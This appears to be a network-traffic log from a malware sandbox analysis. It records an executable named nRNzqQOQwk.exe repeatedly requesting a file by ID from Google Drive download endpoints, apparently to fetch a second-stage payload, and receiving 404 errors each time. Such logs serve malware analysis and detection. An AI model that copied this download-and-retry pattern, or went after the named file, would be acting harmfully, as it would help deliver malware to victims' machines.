2025-01-10 14:37:14 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:14 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-RrmexLNZZp86gaxtuYPiyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.20	49801	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:15 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:15 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgT3RiN9ZxCtdSWdsf14TfbGiPZL38YNsLWgeMIBhPPTBA-DwoktkUs6bz4Xg-LUbdT8y5WTUBk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:15 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-drEtOWCVekWEL3C9TKVEBw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:15 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 75 35 37 2d 4d 69 6e 31 68 41 6e 56 37 6d 64 2d 32 58 6a 64 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Vu57-Min1hAnV7md-2XjdA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.20	49802	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:25 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:26 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:25 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-a2Zzm39AqmIKJ1eyNA34YQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.11.20	49803	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:26 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:26 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5qtrPtrf2Pn6Vn6erPGfFCrkflvGsQd_kdKlUnUPCLe7jrcNdZIus4srMDKxPmQQYP Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:26 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-jvvcYuxu1kv3cttYFuUR5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:26 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 49 72 33 58 49 7a 4f 62 6b 33 75 50 52 52 6b 70 72 50 43 53 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cIr3XIzObk3uPRRkprPCSw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.11.20	49804	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:36 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:37 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:37 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-YkgMHx4yfvmk11Nnww6QeQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.11.20	49805	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:37 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:37 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQG8UH1SaxGn2miBV8IRlCvItB0d_hZKuhnxm_mgyjbcBS_pGVYwi70r53PS1f8OKE9 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:37 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-SNSH-tzagvYScy3jlsUV8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:37 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 65 6c 4e 52 4a 48 41 61 51 4c 67 42 6f 75 32 4d 62 6d 76 6c 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oelNRJHAaQLgBou2MbmvlA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.11.20	49806	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:48 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:48 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:48 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-aRWrqBkoo-9qfyypsOtedw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.11.20	49807	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:48 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:49 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4VlvnoEekSOfmMSxe5xbyRRgA3NbP9YSK1vrPVVLQnQJXVfTpZ7cs91oAyXGZeO9sD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:48 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-d59Pk4tclHO7Lv-r60pu_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:49 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 59 4d 6d 36 62 6a 55 71 68 42 39 39 6e 56 33 6c 68 42 45 6d 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="CYMm6bjUqhB99nV3lhBEmw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.11.20	49808	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:59 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
